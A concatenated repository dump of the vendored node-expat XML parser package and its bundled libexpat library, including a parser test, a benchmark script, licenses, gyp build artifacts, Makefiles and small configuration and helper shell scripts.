1 | require(__dirname).test(
2 | { xml : ""
3 | , expect :
4 | [ ["error"
5 | , "xml: prefix must be bound to http://www.w3.org/XML/1998/namespace\n"
6 | + "Actual: ERROR\n"
7 | + "Line: 0\nColumn: 27\nChar: '"
8 | ]
9 | , [ "attribute"
10 | , { name: "xmlns:xml"
11 | , local: "xml"
12 | , prefix: "xmlns"
13 | , uri: "http://www.w3.org/2000/xmlns/"
14 | , value: "ERROR"
15 | }
16 | ]
17 | , [ "opentag"
18 | , { name: "xml:root"
19 | , uri: "http://www.w3.org/XML/1998/namespace"
20 | , prefix: "xml"
21 | , local: "root"
22 | , attributes:
23 | { "xmlns:xml":
24 | { name: "xmlns:xml"
25 | , local: "xml"
26 | , prefix: "xmlns"
27 | , uri: "http://www.w3.org/2000/xmlns/"
28 | , value: "ERROR"
29 | }
30 | }
31 | , ns: {}
32 | , isSelfClosing: true
33 | }
34 | ]
35 | , ["closetag", "xml:root"]
36 | ]
37 | , strict : true
38 | , opt : { xmlns: true }
39 | }
40 | )
41 |
42 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/.npmignore:
--------------------------------------------------------------------------------
1 | .lock-wscript
2 | node_modules
3 | build
4 | *.swp
5 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/.travis.yml:
--------------------------------------------------------------------------------
1 | language: node_js
2 | node_js:
3 | - 0.6
4 | - 0.8
5 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2010 Stephan Maka
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy
4 | of this software and associated documentation files (the "Software"), to deal
5 | in the Software without restriction, including without limitation the rights
6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7 | copies of the Software, and to permit persons to whom the Software is
8 | furnished to do so, subject to the following conditions:
9 |
10 | The above copyright notice and this permission notice shall be included in
11 | all copies or substantial portions of the Software.
12 |
13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
19 | THE SOFTWARE.
20 |
21 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/bench.js:
--------------------------------------------------------------------------------
1 | var util = require('util');
2 | var node_xml = require("node-xml");
3 | var libxml = require("libxmljs");
4 | var expat = require('node-expat');
5 | var sax = require('sax');
6 |
7 | function NodeXmlParser() {
8 | var parser = new node_xml.SaxParser(function(cb) { });
9 | this.parse = function(s) {
10 | parser.parseString(s);
11 | };
12 | }
13 | function LibXmlJsParser() {
14 | var parser = new libxml.SaxPushParser(function(cb) { });
15 | this.parse = function(s) {
16 | parser.push(s, false);
17 | };
18 | }
19 | function SaxParser() {
20 | var parser = sax.parser();
21 | this.parse = function(s) {
22 | parser.write(s).close();
23 | }
24 | }
25 | function ExpatParser() {
26 | var parser = new expat.Parser();
27 | this.parse = function(s) {
28 | parser.parse(s, false);
29 | };
30 | }
31 |
32 | //var p = new NodeXmlParser();
33 | //var p = new LibXmlJsParser();
34 | //var p = new SaxParser();
35 | var p = new ExpatParser();
36 | p.parse("");
37 | var nEl = 0;
38 | function d() {
39 | p.parse("quux");
40 | nEl++;
41 | setTimeout(d, 0);
42 | }
43 | d();
44 |
45 | var its =[];
46 | setInterval(function() {
47 | util.puts(nEl + " el/s");
48 | its.push(nEl);
49 | nEl = 0;
50 | }, 1000);
51 |
52 | process.on('SIGINT', function () {
53 | var average = 0;
54 | its.forEach(function (v){
55 | average += v;
56 | });
57 | average /= its.length;
58 | util.puts("Average: " + average + " el/s");
59 | process.exit(0);
60 | });
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/binding.gyp:
--------------------------------------------------------------------------------
1 | {
2 | 'targets': [
3 | {
4 | 'target_name': 'node_expat',
5 | 'sources': [ 'node-expat.cc' ],
6 | 'dependencies': [
7 | 'deps/libexpat/libexpat.gyp:expat'
8 | ]
9 | }
10 | ]
11 | }
12 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/.deps/Release/libexpat.a.d:
--------------------------------------------------------------------------------
1 | cmd_Release/libexpat.a := rm -rf "Release/libexpat.a" && cp -af "Release/obj.target/deps/libexpat/libexpat.a" "Release/libexpat.a"
2 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/.deps/Release/node_expat.node.d:
--------------------------------------------------------------------------------
1 | cmd_Release/node_expat.node := rm -rf "Release/node_expat.node" && cp -af "Release/obj.target/node_expat.node" "Release/node_expat.node"
2 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/.deps/Release/obj.target/deps/libexpat/libexpat.a.d:
--------------------------------------------------------------------------------
1 | cmd_Release/obj.target/deps/libexpat/libexpat.a := rm -f Release/obj.target/deps/libexpat/libexpat.a && ar crs Release/obj.target/deps/libexpat/libexpat.a Release/obj.target/expat/deps/libexpat/lib/xmlparse.o Release/obj.target/expat/deps/libexpat/lib/xmltok.o Release/obj.target/expat/deps/libexpat/lib/xmlrole.o
2 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/.deps/Release/obj.target/expat/deps/libexpat/lib/xmlparse.o.d:
--------------------------------------------------------------------------------
1 | cmd_Release/obj.target/expat/deps/libexpat/lib/xmlparse.o := cc '-D_LARGEFILE_SOURCE' '-D_FILE_OFFSET_BITS=64' '-DPIC' '-DHAVE_EXPAT_CONFIG_H' '-DNDEBUG' -I/home/robert/.node-gyp/0.10.4/src -I/home/robert/.node-gyp/0.10.4/deps/uv/include -I/home/robert/.node-gyp/0.10.4/deps/v8/include -I../deps/libexpat -I../deps/libexpat/lib -fPIC -Wall -Wextra -Wno-unused-parameter -pthread -m64 -O2 -fno-strict-aliasing -fno-tree-vrp -MMD -MF ./Release/.deps/Release/obj.target/expat/deps/libexpat/lib/xmlparse.o.d.raw -c -o Release/obj.target/expat/deps/libexpat/lib/xmlparse.o ../deps/libexpat/lib/xmlparse.c
2 | Release/obj.target/expat/deps/libexpat/lib/xmlparse.o: \
3 | ../deps/libexpat/lib/xmlparse.c ../deps/libexpat/expat_config.h \
4 | ../deps/libexpat/lib/ascii.h ../deps/libexpat/lib/expat.h \
5 | ../deps/libexpat/lib/expat_external.h ../deps/libexpat/lib/internal.h \
6 | ../deps/libexpat/lib/xmltok.h ../deps/libexpat/lib/xmlrole.h
7 | ../deps/libexpat/lib/xmlparse.c:
8 | ../deps/libexpat/expat_config.h:
9 | ../deps/libexpat/lib/ascii.h:
10 | ../deps/libexpat/lib/expat.h:
11 | ../deps/libexpat/lib/expat_external.h:
12 | ../deps/libexpat/lib/internal.h:
13 | ../deps/libexpat/lib/xmltok.h:
14 | ../deps/libexpat/lib/xmlrole.h:
15 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/.deps/Release/obj.target/expat/deps/libexpat/lib/xmlrole.o.d:
--------------------------------------------------------------------------------
1 | cmd_Release/obj.target/expat/deps/libexpat/lib/xmlrole.o := cc '-D_LARGEFILE_SOURCE' '-D_FILE_OFFSET_BITS=64' '-DPIC' '-DHAVE_EXPAT_CONFIG_H' '-DNDEBUG' -I/home/robert/.node-gyp/0.10.4/src -I/home/robert/.node-gyp/0.10.4/deps/uv/include -I/home/robert/.node-gyp/0.10.4/deps/v8/include -I../deps/libexpat -I../deps/libexpat/lib -fPIC -Wall -Wextra -Wno-unused-parameter -pthread -m64 -O2 -fno-strict-aliasing -fno-tree-vrp -MMD -MF ./Release/.deps/Release/obj.target/expat/deps/libexpat/lib/xmlrole.o.d.raw -c -o Release/obj.target/expat/deps/libexpat/lib/xmlrole.o ../deps/libexpat/lib/xmlrole.c
2 | Release/obj.target/expat/deps/libexpat/lib/xmlrole.o: \
3 | ../deps/libexpat/lib/xmlrole.c ../deps/libexpat/expat_config.h \
4 | ../deps/libexpat/lib/expat_external.h ../deps/libexpat/lib/internal.h \
5 | ../deps/libexpat/lib/xmlrole.h ../deps/libexpat/lib/xmltok.h \
6 | ../deps/libexpat/lib/ascii.h
7 | ../deps/libexpat/lib/xmlrole.c:
8 | ../deps/libexpat/expat_config.h:
9 | ../deps/libexpat/lib/expat_external.h:
10 | ../deps/libexpat/lib/internal.h:
11 | ../deps/libexpat/lib/xmlrole.h:
12 | ../deps/libexpat/lib/xmltok.h:
13 | ../deps/libexpat/lib/ascii.h:
14 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/.deps/Release/obj.target/node_expat.node.d:
--------------------------------------------------------------------------------
1 | cmd_Release/obj.target/node_expat.node := flock ./Release/linker.lock g++ -shared -pthread -rdynamic -m64 -Wl,-soname=node_expat.node -o Release/obj.target/node_expat.node -Wl,--start-group Release/obj.target/node_expat/node-expat.o Release/obj.target/deps/libexpat/libexpat.a -Wl,--end-group
2 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/libexpat.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/libexpat.a
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/linker.lock:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/linker.lock
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/node_expat.node:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/node_expat.node
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/obj.target/deps/libexpat/libexpat.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/obj.target/deps/libexpat/libexpat.a
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/obj.target/expat/deps/libexpat/lib/xmlparse.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/obj.target/expat/deps/libexpat/lib/xmlparse.o
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/obj.target/expat/deps/libexpat/lib/xmlrole.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/obj.target/expat/deps/libexpat/lib/xmlrole.o
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/obj.target/expat/deps/libexpat/lib/xmltok.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/obj.target/expat/deps/libexpat/lib/xmltok.o
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/obj.target/node_expat.node:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/obj.target/node_expat.node
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/obj.target/node_expat/node-expat.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/Release/obj.target/node_expat/node-expat.o
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/binding.Makefile:
--------------------------------------------------------------------------------
1 | # This file is generated by gyp; do not edit.
2 |
3 | export builddir_name ?= build/./.
4 | .PHONY: all
5 | all:
6 | $(MAKE) node_expat
7 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/build/deps/libexpat/libexpat.Makefile:
--------------------------------------------------------------------------------
1 | # This file is generated by gyp; do not edit.
2 |
3 | export builddir_name ?= build/./deps/libexpat/.
4 | .PHONY: all
5 | all:
6 | $(MAKE) -C ../.. expat
7 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/COPYING:
--------------------------------------------------------------------------------
1 | Copyright (c) 1998, 1999, 2000 Thai Open Source Software Center Ltd
2 | and Clark Cooper
3 | Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006 Expat maintainers.
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining
6 | a copy of this software and associated documentation files (the
7 | "Software"), to deal in the Software without restriction, including
8 | without limitation the rights to use, copy, modify, merge, publish,
9 | distribute, sublicense, and/or sell copies of the Software, and to
10 | permit persons to whom the Software is furnished to do so, subject to
11 | the following conditions:
12 |
13 | The above copyright notice and this permission notice shall be included
14 | in all copies or substantial portions of the Software.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
20 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
21 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
22 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
23 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/amiga/expat_base.h:
--------------------------------------------------------------------------------
1 | /*
2 | ** Copyright (c) 2001-2009 Expat maintainers.
3 | **
4 | ** Permission is hereby granted, free of charge, to any person obtaining
5 | ** a copy of this software and associated documentation files (the
6 | ** "Software"), to deal in the Software without restriction, including
7 | ** without limitation the rights to use, copy, modify, merge, publish,
8 | ** distribute, sublicense, and/or sell copies of the Software, and to
9 | ** permit persons to whom the Software is furnished to do so, subject to
10 | ** the following conditions:
11 | **
12 | ** The above copyright notice and this permission notice shall be included
13 | ** in all copies or substantial portions of the Software.
14 | **
15 | ** THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
16 | ** EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
17 | ** MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
18 | ** IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
19 | ** CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
20 | ** TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
21 | ** SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
22 | */
23 |
24 | #ifndef EXPAT_BASE_H
25 | #define EXPAT_BASE_H
26 |
27 | #include
28 | #include
29 | #include
30 | #include
31 |
32 |
33 | struct ExpatBase {
34 | struct Library libNode;
35 | uint16 pad;
36 | BPTR SegList;
37 | struct ExecIFace *IExec;
38 | };
39 |
40 | #endif
41 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/amiga/include/proto/expat.h:
--------------------------------------------------------------------------------
1 | #ifndef PROTO_EXPAT_H
2 | #define PROTO_EXPAT_H
3 |
4 | #ifndef LIBRARIES_EXPAT_H
5 | #include
6 | #endif
7 |
8 | /****************************************************************************/
9 |
10 | #ifndef __NOLIBBASE__
11 | #ifndef __USE_BASETYPE__
12 | extern struct Library * ExpatBase;
13 | #else
14 | extern struct Library * ExpatBase;
15 | #endif /* __USE_BASETYPE__ */
16 | #endif /* __NOLIBBASE__ */
17 |
18 | /****************************************************************************/
19 |
20 | #ifdef __amigaos4__
21 | #include
22 | #ifdef __USE_INLINE__
23 | #include
24 | #endif /* __USE_INLINE__ */
25 | #ifndef CLIB_EXPAT_PROTOS_H
26 | #define CLIB_EXPAT_PROTOS_H 1
27 | #endif /* CLIB_EXPAT_PROTOS_H */
28 | #ifndef __NOGLOBALIFACE__
29 | extern struct ExpatIFace *IExpat;
30 | #endif /* __NOGLOBALIFACE__ */
31 | #else /* __amigaos4__ */
32 | #ifndef CLIB_EXPAT_PROTOS_H
33 | #include
34 | #endif /* CLIB_EXPAT_PROTOS_H */
35 | #if defined(__GNUC__)
36 | #ifndef __PPC__
37 | #include
38 | #else
39 | #include
40 | #endif /* __PPC__ */
41 | #elif defined(__VBCC__)
42 | #ifndef __PPC__
43 | #include
44 | #endif /* __PPC__ */
45 | #else
46 | #include
47 | #endif /* __GNUC__ */
48 | #endif /* __amigaos4__ */
49 |
50 | /****************************************************************************/
51 |
52 | #endif /* PROTO_EXPAT_H */
53 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/bcb5/elements.bpf:
--------------------------------------------------------------------------------
1 | USEUNIT("..\examples\elements.c");
2 | USELIB("Release\libexpats_mtd.lib");
3 | //---------------------------------------------------------------------------
4 | main
5 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/bcb5/expat.bpf:
--------------------------------------------------------------------------------
1 | USEUNIT("..\lib\xmlparse.c");
2 | USEUNIT("..\lib\xmlrole.c");
3 | USEUNIT("..\lib\xmltok.c");
4 | USEDEF("libexpat_mtd.def");
5 | //---------------------------------------------------------------------------
6 | #define DllEntryPoint
7 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/bcb5/expat_static.bpf:
--------------------------------------------------------------------------------
1 | USEUNIT("..\lib\xmlparse.c");
2 | USEUNIT("..\lib\xmlrole.c");
3 | USEUNIT("..\lib\xmltok.c");
4 | //---------------------------------------------------------------------------
5 | #define Library
6 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/bcb5/expatw.bpf:
--------------------------------------------------------------------------------
1 | USEUNIT("..\lib\xmlparse.c");
2 | USEUNIT("..\lib\xmlrole.c");
3 | USEUNIT("..\lib\xmltok.c");
4 | USEDEF("libexpatw_mtd.def");
5 | //---------------------------------------------------------------------------
6 | #define DllEntryPoint
7 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/bcb5/expatw_static.bpf:
--------------------------------------------------------------------------------
1 | USEUNIT("..\lib\xmlparse.c");
2 | USEUNIT("..\lib\xmlrole.c");
3 | USEUNIT("..\lib\xmltok.c");
4 | //---------------------------------------------------------------------------
5 | #define Library
6 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/bcb5/makefile.mak:
--------------------------------------------------------------------------------
1 | all: setup expat expatw expat_static expatw_static elements outline xmlwf
2 |
3 | setup:
4 | setup
5 |
6 | expat:
7 | make -l -fexpat.mak
8 |
9 | expatw:
10 | make -l -fexpatw.mak
11 |
12 | expat_static:
13 | make -l -fexpat_static.mak
14 |
15 | expatw_static:
16 | make -l -fexpatw_static.mak
17 |
18 | elements:
19 | make -l -felements.mak
20 |
21 | outline:
22 | make -l -foutline.mak
23 |
24 | xmlwf:
25 | make -l -fxmlwf.mak
26 |
27 | clean:
28 | # works on Win98/ME
29 | # deltree /y release\obj
30 | # works on WinNT/2000
31 | del /s/f/q release\obj
32 |
33 | distclean:
34 | # works on Win98/ME
35 | # deltree /y release\*.*
36 | # works on WinNT/2000
37 | del /s/f/q release\*
38 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/bcb5/outline.bpf:
--------------------------------------------------------------------------------
1 | USEUNIT("..\examples\outline.c");
2 | USELIB("Release\libexpat_mtd.lib");
3 | //---------------------------------------------------------------------------
4 | main
5 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/bcb5/setup.bat:
--------------------------------------------------------------------------------
1 | REM CommandInterpreter: $(COMSPEC)
2 | if not exist .\release\nul mkdir release
3 | if not exist .\release\obj\nul mkdir release\obj
4 | if not exist .\release\obj\libexpat\nul mkdir release\obj\libexpat
5 | if not exist .\release\obj\libexpatw\nul mkdir release\obj\libexpatw
6 | if not exist .\release\obj\libexpat_static\nul mkdir release\obj\libexpat_static
7 | if not exist .\release\obj\libexpatw_static\nul mkdir release\obj\libexpatw_static
8 | if not exist .\release\obj\examples\nul mkdir release\obj\examples
9 | if not exist .\release\obj\xmlwf\nul mkdir release\obj\xmlwf
10 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/bcb5/xmlwf.bpf:
--------------------------------------------------------------------------------
1 | USEUNIT("..\xmlwf\codepage.c");
2 | USEUNIT("..\xmlwf\win32filemap.c");
3 | USEUNIT("..\xmlwf\xmlfile.c");
4 | USEUNIT("..\xmlwf\xmlwf.c");
5 | USELIB("Release\libexpat_mtd.lib");
6 | //---------------------------------------------------------------------------
7 | main
8 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/conftools/expat.m4:
--------------------------------------------------------------------------------
1 | dnl Check if --with-expat[=PREFIX] is specified and
2 | dnl Expat >= 1.95.0 is installed in the system.
3 | dnl If yes, substitute EXPAT_CFLAGS, EXPAT_LIBS with regard to
4 | dnl the specified PREFIX and set with_expat to PREFIX, or 'yes' if PREFIX
5 | dnl has not been specified. Also HAVE_LIBEXPAT, HAVE_EXPAT_H are defined.
6 | dnl If --with-expat has not been specified, set with_expat to 'no'.
7 | dnl In addition, an Automake conditional EXPAT_INSTALLED is set accordingly.
8 | dnl This is necessary to adapt a whole lot of packages that have expat
9 | dnl bundled as a static library.
10 | AC_DEFUN([AM_WITH_EXPAT],
11 | [ AC_ARG_WITH(expat,
12 | [ --with-expat=PREFIX Use system Expat library],
13 | , with_expat=no)
14 |
15 | AM_CONDITIONAL(EXPAT_INSTALLED, test $with_expat != no)
16 |
17 | EXPAT_CFLAGS=
18 | EXPAT_LIBS=
19 | if test $with_expat != no; then
20 | if test $with_expat != yes; then
21 | EXPAT_CFLAGS="-I$with_expat/include"
22 | EXPAT_LIBS="-L$with_expat/lib"
23 | fi
24 | AC_CHECK_LIB(expat, XML_ParserCreate,
25 | [ EXPAT_LIBS="$EXPAT_LIBS -lexpat"
26 | expat_found=yes ],
27 | [ expat_found=no ],
28 | "$EXPAT_LIBS")
29 | if test $expat_found = no; then
30 | AC_MSG_ERROR([Could not find the Expat library])
31 | fi
32 | expat_save_CFLAGS="$CFLAGS"
33 | CFLAGS="$CFLAGS $EXPAT_CFLAGS"
34 | AC_CHECK_HEADERS(expat.h, , expat_found=no)
35 | if test $expat_found = no; then
36 | AC_MSG_ERROR([Could not find expat.h])
37 | fi
38 | CFLAGS="$expat_save_CFLAGS"
39 | fi
40 |
41 | AC_SUBST(EXPAT_CFLAGS)
42 | AC_SUBST(EXPAT_LIBS)
43 | ])
44 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/conftools/get-version.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | #
3 | # USAGE: get-version.sh path/to/expat.h
4 | #
5 | # This script will print Expat's version number on stdout. For example:
6 | #
7 | # $ ./conftools/get-version.sh ./lib/expat.h
8 | # 1.95.3
9 | # $
10 | #
11 |
12 | if test $# = 0; then
13 | echo "ERROR: pathname for expat.h was not provided."
14 | echo ""
15 | echo "USAGE: $0 path/to/expat.h"
16 | exit 1
17 | fi
18 | if test $# != 1; then
19 | echo "ERROR: too many arguments were provided."
20 | echo ""
21 | echo "USAGE: $0 path/to/expat.h"
22 | exit 1
23 | fi
24 |
25 | hdr="$1"
26 | if test ! -r "$hdr"; then
27 | echo "ERROR: '$hdr' does not exist, or is not readable."
28 | exit 1
29 | fi
30 |
31 | MAJOR_VERSION="`sed -n -e '/MAJOR_VERSION/s/[^0-9]*//gp' $hdr`"
32 | MINOR_VERSION="`sed -n -e '/MINOR_VERSION/s/[^0-9]*//gp' $hdr`"
33 | MICRO_VERSION="`sed -n -e '/MICRO_VERSION/s/[^0-9]*//gp' $hdr`"
34 |
35 | # Determine how to tell echo not to print the trailing \n. This is
36 | # similar to Autoconf's @ECHO_C@ and @ECHO_N@; however, we don't
37 | # generate this file via autoconf (in fact, get-version.sh is used
38 | # to *create* ./configure), so we just do something similar inline.
39 | case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in
40 | *c*,-n*) ECHO_N= ECHO_C='
41 | ' ;;
42 | *c*,* ) ECHO_N=-n ECHO_C= ;;
43 | *) ECHO_N= ECHO_C='\c' ;;
44 | esac
45 |
46 | echo $ECHO_N "$MAJOR_VERSION.$MINOR_VERSION.$MICRO_VERSION$ECHO_C"
47 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/conftools/mkinstalldirs:
--------------------------------------------------------------------------------
1 | #! /bin/sh
2 | # mkinstalldirs --- make directory hierarchy
3 | # Author: Noah Friedman
4 | # Created: 1993-05-16
5 | # Public domain
6 |
7 | # $Id: mkinstalldirs,v 1.1 2000/09/18 16:26:21 coopercc Exp $
8 |
9 | errstatus=0
10 |
11 | for file
12 | do
13 | set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'`
14 | shift
15 |
16 | pathcomp=
17 | for d
18 | do
19 | pathcomp="$pathcomp$d"
20 | case "$pathcomp" in
21 | -* ) pathcomp=./$pathcomp ;;
22 | esac
23 |
24 | if test ! -d "$pathcomp"; then
25 | echo "mkdir $pathcomp"
26 |
27 | mkdir "$pathcomp" || lasterr=$?
28 |
29 | if test ! -d "$pathcomp"; then
30 | errstatus=$lasterr
31 | fi
32 | fi
33 |
34 | pathcomp="$pathcomp/"
35 | done
36 | done
37 |
38 | exit $errstatus
39 |
40 | # mkinstalldirs ends here
41 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/doc/expat.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/doc/expat.png
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/doc/valid-xhtml10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RobertLarsen/CTFd/8d97031388dc7cef1e8ec1c7aeca7f85443973d8/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/doc/valid-xhtml10.png
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/node-expat/deps/libexpat/expat.pc.in:
--------------------------------------------------------------------------------
1 | prefix=@prefix@
2 | exec_prefix=@exec_prefix@
3 | libdir=@libdir@
4 | includedir=@includedir@
5 |
6 | Name: expat
